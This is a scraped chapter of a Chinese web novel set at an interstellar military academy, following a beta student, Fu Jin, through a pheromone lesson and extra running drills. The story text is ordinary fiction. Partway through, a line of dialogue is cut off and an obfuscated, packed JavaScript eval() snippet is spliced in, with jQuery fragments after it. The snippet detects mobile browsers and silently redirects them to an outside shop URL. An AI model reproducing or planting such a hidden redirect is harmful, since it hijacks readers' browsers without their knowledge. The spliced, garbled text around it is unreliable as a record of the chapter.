“课不好好听,说得倒是假模假样,她高中那群人别是傻子,都被她这幅样子给唬住了吧。”
“就算她能答对,多半也都是猜的,星际至今没有beta能不借助任何工具识别信息素。”
“哪来的传言那么玄乎,她说她能识别信息素,我还说我能抵抗omega信息素呢。”
“说大话谁不会?”
不乏有韦彬在其中推波助澜:“有她在特战系,真是第一军校特战系的耻辱,拉低特战系的含金量,按我看来,早日把她开除最好。”
傅金听而不闻,直接在实验台上开始动手实操。
边动手添加药剂边解释原理:“这一管集成液成分复杂。晃动状态下,从试管壁坠落下有些微黄色凝脂成分,是alpha易感期状况下分泌的油脂物质。”
药剂在她手中混合,随着摇晃逐渐变成粉色。
她身体里残留着原主的本能,原主在联盟主星就读的是重点高中,常年甩第二名十几二十分,霸榜第一。
哪怕对于根本不需要的信息素知识,同样倒背如流。
“众所周知,alpha信息素成分百分之九十八物质相同,只有百分之二用于凝结为不同类型的信息素味道,而味道随着年龄变化会有所不同。
“鉴别alpha信息素只需要还原反应,呈现紫色就可以。”
人人都看傅金的笑话,在她的一系列还原操作下,试管内最终冒出一股烟气——
众人在傅金的解说中慢慢沉下心思,双眼聚焦紧紧盯着那股冒出的烟气不放。
赫然是紫色!
只是其中夹杂了些显眼的黄色。
傅金捏住烧杯在讲台前平移而过,让每一个角落的alpha都可以看清楚。
有人张嘴就要反驳。
傅金先一步及时做出解释,堵住找茬人的嘴:
“烟气中的黄色,如果我没闻错的话,来自于一位成年男性omega的汗液,所以才会让这管混合凝结液难以分辨第二性别。”
就在这时,教室外一道焦急脚步声靠近——
停在前门门口,敲响木门:“对不起对不起,纪少校,打扰一下,是我一时疏忽,样品中掺进了我的汗液,没出什么问题吧?”
来人身上穿着白色实验服,胸标上写着“实验助理”。
显而易见,来人是文职部的一位男性Omega教师助手。
他双手不停地互相搓弄着,不自觉地咬唇,犯错后在纪少校面前格外局促不安。
这样的错误,按照第一军校军纪军规来说,已经是重大的教学事故。
水落石出,明显是实验室的助手搞错了,样品有问题,而不是傅金回答错误。
这下,无从反驳。
教室里鸦雀无声。
这堂课足以证明,傅金一个beta的五感感知,绝对在在座的各位之上。
已经有相当一部分人转变了对傅金的看法,看傅金的眼神都带上了羡慕和崇拜。
而韦彬,活像是被打了一巴掌。
纪闵依旧嗓音低沉,给这场闹剧收拾尾巴,向实验室助手下达指令:“按照教师军纪,自行去领三十军棍。”
“是,纪少校。”实验员脸色煞白,对纪闵行军礼后恭敬退下。
“刚刚废话的,下课后二十军棍。给你们一个教训,身为同系学员,在军校是并肩士兵,在战场是共死战友,你们才知道该说什么,不该说什么,都清楚了吗?”
迎接纪闵迫人的眼刀,一众alpha心中不由一凛。
“清楚了!”特战系alpha们同时出声,声浪冲击房顶。
纪闵在学员拱火时静静旁观,等事态有了结果,再进行善后收尾,盖棺定论把控局势。他冷漠逡巡过一众特战系学员,“我想不用我一个一个去请吧?”
“是,纪教官。”
韦彬跟着几位alpha起身,惯常猖狂的他不得不转变态度,毕恭毕敬地认错,暂时向傅金低头。
面对被学员暗地里称为“铁面煞神”的纪闵纪少校,谅他们也没胆子逃脱惩罚。
——
第一军校里,消息传得尤其快,傅金在信息素抵抗课的事迹一经传出,简直像插了翅膀一样。
王琳琳下课后抱着书穿行在连廊上。
一路看过来,这几天文职部的人个个身着灰色系。
这是最近什么新流行吗?她低头瞅瞅自己身上明亮鲜艳的粉黄色,心底奇怪。
终于是按捺不住心底怪异,她靠近靠在栏杆边吹风纳凉、聊天的omega们,轻声搭话询问:“你们的衣裙在哪买的呀,我瞧着风格真是独特。”
男性omega见王琳琳亲和谦虚,也毫无嫌隙地和她聊了起来:“要的就是‘独树一帜’。”
他提起衣摆布料:“除了第一军校,外面都还没收到潮流信号呢。”
旁边一位女性omega搭腔:“我看也是快了,我们军校一向是潮流的风向标,旁边那些破烂学校尽学我们,想来不出一月就会风靡首都星了。”
“要穿新款得抓紧时间,不然马上烂大街了,”男omega好意提醒王琳琳,“那时候还有什么意思。”
王琳琳一向追赶潮流,她被说得心中一动,打算下学去逛逛街:“我能冒昧问一下这是什么风格呢?”
搞半天,王琳琳压根不知道,男omega露出惊讶神色:“你不知道吗?这是商傅金的做旧风啊,追求不羁和反潮流,才是一种真正的潮流。”
模仿傅金的“做旧风”在第一军校火了起来,人人渴望能拥有傅金同款的天赋异禀。
王琳琳脸色瞬间变成青色。
商傅金信息素抵抗课上的事,她听说但对此不以为然。
军校论坛之前满是嘲笑商傅金穿衣风格的人,如今倒好,一个个反倒追捧商傅金起来。
她看这些人是脑袋被人挤了。
“什么做旧风,我看你们是眼睛瞎了吧?学她穿个古地球的麻袋在身上,这年头星盗都不这么穿了,眼睛瞎就早日去治疗吧。”
王琳琳气急败坏一通输出,抱着课本踩着高跟鞋一路生风地走了。
闻言emoga们下巴都要惊掉了,眼睁睁瞧着王琳琳怒冲冲的背影消失在星梯口。
男omega惊叹于王琳琳的变脸速度,从眉毛到嘴巴都写满了惊恐加无语:“这是什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617663|204750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么人呀?”
——
自打进入特战系,上了一节体能课后,就算有毛越教官偶尔在课程上插科打诨,体能课依旧彻底成为傅金的噩梦。
原主是个beta,体能和alpha本就有悬殊差距。以顶级alpha平均水平制定的基础训练计划,随着训练时长的累计,难度和强度也相应提高。
这对傅金来说,难度简直呈指数级递增。
好不容易熬到下课,从废人的四百米障碍中解脱出来。
帽檐下的傅金满脸大汗,整个人活像是刚从水里捞出来,解散后刚松懈下来,想回去洗澡。
“商傅金,你留下。”
纪闵薄唇轻启,说出了一句傅金恨不能他捡起来咽回去的话,“你加练二十圈长跑。”
“什么?”
纪闵的话犹如晴天霹雳。
傅金欲哭无泪,不愿相信:“教官,你再说一遍?”
纪闵毫不接茬:“确定要我再说一遍?”
傅金瞧着纪闵垂着眼看下来,那张面无表情的脸,傅金福至心灵莫名领会到他的意思:
再说一遍,可以啊。
没准就是三十圈加练了。
特战系教授体能课的是毛越上尉,纪闵身为野战军领导、特战系主教官,通常作为督教旁观。
“纪少校你说得好轻松哦,上下嘴皮一碰就是二十圈。”傅金抹了一把脑门上仿若雨下的汗水,不情不愿地开跑。
“我跑起来也很轻松,”纪闵站姿如同青竹般挺拔坚韧,他原地打量着傅金有气无力的四肢。说出无情的话,却让傅金心头一凉又一凉:“以你体能课目前的成绩,结课会被第一军校自动劝退,你想好了吗?”
心里名为“小傅金”的小人,此时直吐血。
纪闵不愧是纪闵,处处都朝傅金痛处戳,她只好咬着牙加快速度跑起来。
纪闵先前是在场地中间观察傅金。
后面看傅金已经越来越慢,步伐越来越沉重。他开始在前面领着傅金跑,两人之间距离两米。
作训场上两人一前一后的人影,吸引了过路的文职部学员注意:
“纪闵少校竟然还会给学员开小灶?他从前哪里管这些闲事。”
“别说,也就是面对商傅金这种难遇的天才吧,换作其他人,哪怕是个omega倒他面前他都不动如钟绕路走开。”
“我说商傅金这样的逸群之才,就该到我们文职部来,肯定能干一番大事业,搞不好是以后军校教官级别的。”
来人一脸可惜:“在特战系不过关被劝退,可就是一辈子的遗憾了。”
纪闵倒退着跑,视线随时落在傅金身上,嘴上时不时督促她:“商傅金,把腿抬高,腰部发力!”
“手臂摆起来,注意呼吸频率。”
纪闵放低步频,示意傅金:“跟着我的频率跑。”
二十圈还是太长了,更别说傅金刚从体能课逃脱生天。
最后傅金越跑越没劲,纪闵跟着越跑越慢,两人距离急剧缩减。
傅金眼前一阵一阵发黑。
脚下的跑道像是要化了一样,要把傅金的脚底给彻底黏住,脚步愈加沉重。